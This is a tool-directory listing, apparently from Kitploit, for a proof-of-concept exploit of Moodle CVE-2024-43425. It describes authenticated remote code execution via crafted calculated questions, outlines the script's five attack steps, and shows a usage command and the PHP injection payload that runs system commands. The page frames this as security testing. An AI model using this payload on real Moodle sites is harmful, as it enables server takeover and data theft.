Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-43425-Poc — Proof-of-concept exploit for Moodle CVE-2024-43425, enabling authenticated RCE via crafted calculated questions. Automates login, token extraction, payload upload, and trigger for security testing. | Kitploit
Tools/GitHubGitHub/aninfosec/cve-2024-43425-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubaninfosec/cve-2024-43425-poc

CVE-2024-43425-Poc

Proof-of-concept exploit for Moodle CVE-2024-43425, enabling authenticated RCE via crafted calculated questions. Automates login, token extraction, payload upload, and trigger for security testing.

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-43425-Poc

CVE Overview CVE ID: CVE-2024-43425

Description: Moodle allows an authenticated teacher-level user to upload a malicious calculated question via the quiz editor interface. Impact: Remote Code Execution (RCE) Cause: Improper sanitization of mathematical payloads inside calculated questions, which leads to command injection through the dataset wizard.

##Requirements:

Valid login credentials Access to quiz editing interface (usually a teacher or admin role) Known cmid (quiz module ID) and courseid

##This script performs a 5-step attack:

Step Description 1️ Fetch login token (logintoken) 2️ Log in and establish a valid MoodleSession 3️ Extract sesskey, ctxid, and category from the quiz edit page 4️ Upload a specially crafted calculated question with an RCE payload 5️ Trigger the payload through the dataset wizard page

##Usage Instructions

Requirements: Python 3 Python libraries: requests, bs4 (BeautifulSoup)

root@kitploit:~
pip3 install requests bs4
root@kitploit:~
python3 exploit_cve_2024_43425.py \
  --url http://192.168.2.12/moodle \
  --username test \
  --password 'Test@123' \
  --courseid 1 \
  --cmid 1 \
  --cmd 'whoami'

##Payload used:

root@kitploit:~
answer[0] = "(1)->{system($_GET[chr(97)])}"
Download Tool